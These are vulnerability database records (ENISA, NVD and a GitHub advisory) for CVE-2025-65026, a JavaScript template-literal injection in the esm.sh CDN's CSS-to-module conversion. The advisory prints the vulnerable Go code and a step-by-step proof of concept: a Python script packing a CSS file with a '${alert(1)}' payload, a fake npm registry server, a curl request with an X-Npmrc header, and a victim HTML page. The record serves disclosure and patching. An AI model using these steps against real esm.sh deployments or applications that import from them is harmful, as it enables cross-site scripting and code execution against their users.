{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:00:58.714199+00:00",
  "id": "EUVD-2026-261427"
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 136"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466",
              "versionEndExcluding": "136",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136."
    },
    {
      "lang": "es",
      "value": "esm.sh es una red de entrega de contenido (CDN) sin compilaci\u00f3n para el desarrollo web moderno. Versiones anteriores a la versi\u00f3n 136, el servicio CDN de esm.sh contiene una vulnerabilidad de inyecci\u00f3n de literales de plantilla (CWE-94) en su funci\u00f3n de conversi\u00f3n de m\u00f3dulos CSS a JavaScript. Cuando se solicita un archivo CSS con el par\u00e1metro de consulta ?module, esm.sh lo convierte en un m\u00f3dulo JavaScript incrustando el contenido CSS directamente en un literal de plantilla sin la sanitizaci\u00f3n adecuada. Un atacante puede inyectar c\u00f3digo JavaScript malicioso utilizando expresiones ${...} dentro de archivos CSS, que se ejecutar\u00e1 cuando el m\u00f3dulo sea importado por las aplicaciones de la v\u00edctima. Esto permite Cross-Site Scripting (XSS) en navegadores y Ejecuci\u00f3n Remota de C\u00f3digo (RCE) en aplicaciones Electron. Este problema ha sido parcheado en la versi\u00f3n 136."
    }
  ],
  "id": "CVE-2025-65026",
  "lastModified": "2026-10-18T20:10:00.110",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-65026",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-11-20T14:19:05.465613Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-11-19T18:15:50.023",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20251118065157-87d2f6497574"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T20:31:55Z",
    "nvd_published_at": "2025-11-19T18:15:50Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, \u0027`\u0027) {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // \u2190 CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log(\u0027Styles loaded:\u0027, styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
  "id": "GHSA-hcpf-qv9m-vfgp",
  "modified": "2025-11-27T08:30:39Z",
  "published": "2025-11-19T20:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}